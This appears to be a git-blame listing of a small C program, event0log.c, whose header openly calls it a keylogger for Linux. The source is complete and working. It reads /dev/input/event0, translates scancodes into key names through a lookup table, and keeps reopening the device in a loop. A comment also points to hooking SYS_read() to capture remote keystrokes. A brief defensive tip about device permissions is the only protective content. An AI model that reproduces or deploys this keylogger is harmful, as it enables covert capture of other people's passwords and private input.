Commit | Line | Data |
---|---|---|
2d898775 | 1 | /* event0log.c v0.9 |
8f3f8f1e | 2 | * <~~Harvie 2oo8-2o21 |
21c4e167 H |
3 | * THX2: Dayvee (Idea), joe@aol.com (Reversing), |
4 | * -=Punka][Tux=- (BugReport), | |
8f3f8f1e | 5 | * Warriant's code (Inspiration), Linus (Linux) |
21c4e167 H |
6 | * |
7 | * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,) | |
8 | * In other words: this is keylogger for Linux. | |
9 | * If you have more keyboards, try other events (event1, ...eventX). | |
10 | * Only local keyboard is supported, | |
11 | * remote keys can be captured by hooking on SYS_read() system call. | |
12 | * | |
13 | * Build: | |
14 | * - gcc argv[0].c -o argv[0] | |
15 | * | |
16 | * Usage (all examples do the same): | |
17 | * - cat /dev/input/event0 | argv[0] | |
18 | * - argv[0] /dev/input/event0 | |
19 | * - argv[0] - | |
20 | * | |
21 | * Adding new keystroke values: | |
22 | * - <XXX> = keystroke id | |
23 | * - set MAXSTROKE to 0 to get only keystroke values | |
24 | * | |
25 | * Defensive security: | |
26 | * - chown & chmod /dev/input/event0 | |
27 | * - don't give cheap root to everybody | |
28 | */ | |
29 | ||
30 | #include <stdio.h> | |
31 | #include <stdlib.h> | |
8f3f8f1e TM |
32 | #include <stdint.h> |
33 | #include <unistd.h> | |
21c4e167 | 34 | #include <signal.h> |
2d898775 | 35 | #include <time.h> |
21c4e167 H |
36 | #define DEFAULTINPUT "/dev/input/event0" |
37 | ||
8f3f8f1e TM |
38 | typedef struct __attribute__((__packed__)) input_event_s { |
39 | struct timeval time; | |
40 | unsigned short type; | |
41 | unsigned short code; | |
42 | unsigned int value; | |
43 | } input_event_t; | |
44 | ||
2d898775 TM |
45 | time_t timestamp = 0; |
46 | ||
4ca45da7 | 47 | #define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted) |
21c4e167 | 48 | char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard: |
4ca45da7 TM |
49 | "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14 |
50 | "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", //28 | |
51 | "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", //44 | |
52 | "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", //57 | |
53 | "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", //69 | |
54 | "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", //83 | |
55 | "[./DEL-NUM]", "<85>", "<86>", "[MACRO-\\|]", "[F11]", "[F12]", | |
56 | "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "<96>", "[ENTER-NUM]\n", | |
57 | "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<102>", | |
21c4e167 | 58 | "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]", |
4ca45da7 TM |
59 | "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]", |
60 | "<120>", "<121>", "<122>", "<123>", "<124>", "<125>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]", "<128>", "<129>", | |
61 | "<130>", "<131>", "<132>", "<133>", "<134>", "<135>", "<136>", "<137>", "<138>", "<139>", | |
62 | "<140>", "<141>", "<142>", "[Fn]", "<144>", "<145>", "<146>", "<147>", "<148>", "<149>", | |
63 | "<150>", "<151>", "<152>", "<153>", "<154>", "<155>", "<156>", "<157>", "[BACK]", "[FORW]", | |
64 | "<160>", "<161>", "<162>", "[NEXTSONG]", "[PLAYPAUSE]", "[PREVSONG]", "[STOPCD]", "<167>", "<168>", "<169>" | |
21c4e167 H |
65 | /* Hint: |
66 | [CAPSL][ESC] = CapsLock On | |
67 | [CAPSL] = CapsLock Off | |
68 | [NUML]<0> = NumLock On | |
69 | [NUML] = NumLock Off | |
70 | 3[ESC]3 = Escape | |
71 | */ | |
72 | }; | |
73 | ||
74 | void cleanup(void) { | |
75 | fclose(stdin); | |
76 | fclose(stdout); | |
77 | } | |
78 | ||
79 | static void sigint_handler(int signo) { | |
80 | exit(0); | |
81 | } | |
82 | ||
83 | int main(int argc, char *argv[]) { | |
84 | ||
85 | atexit(&cleanup); | |
86 | signal(SIGINT, &sigint_handler); | |
87 | signal(SIGTERM, &sigint_handler); | |
88 | signal(SIGQUIT, &sigint_handler); | |
89 | signal(SIGSEGV, &sigint_handler); | |
90 | ||
91 | ||
2d898775 TM |
92 | printf("Scancode DB size: %d B (0-%d)", sizeof(strokes), MAXSTROKE); |
93 | ||
94 | char * filepath = NULL; | |
21c4e167 | 95 | if(argc > 1 && argv[1][0] != '-') { |
2d898775 | 96 | filepath = &argv[1][0]; |
21c4e167 H |
97 | } |
98 | if(argc > 1 && argv[1][0] == '-') { | |
2d898775 | 99 | filepath = DEFAULTINPUT; |
21c4e167 H |
100 | } |
101 | ||
2d898775 TM |
102 | |
103 | while(1) { | |
104 | ||
105 | while(1) { | |
106 | if(filepath != NULL && freopen(filepath, "rb", stdin) == NULL) { | |
107 | printf("\n%lu\tFailed to open file %s", time(NULL), filepath); | |
108 | sleep(1); | |
109 | continue; | |
110 | //return(1); | |
111 | } else { | |
112 | if(filepath != NULL) printf("\n%lu\tOpened file %s\n", time(NULL), filepath); | |
113 | break; | |
114 | } | |
21c4e167 | 115 | } |
8f3f8f1e TM |
116 | setbuf(stdout, NULL); |
117 | ||
21c4e167 | 118 | |
8f3f8f1e | 119 | input_event_t input_event; |
2d898775 | 120 | while(read(0, &input_event, sizeof(input_event_t)) != -1) { |
8f3f8f1e | 121 | if(input_event.type != 1 || input_event.value != 1) continue; |
2d898775 | 122 | //printf("\n%lu\tTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.time.tv_sec, input_event.type, input_event.code, input_event.value); |
8f3f8f1e TM |
123 | if(input_event.code <= MAXSTROKE) { |
124 | printf("%s", strokes[input_event.code]); | |
125 | } else { | |
126 | printf("<%d>", input_event.code); | |
21c4e167 H |
127 | } |
128 | } | |
129 | ||
2d898775 TM |
130 | } |
131 | ||
21c4e167 | 132 | } |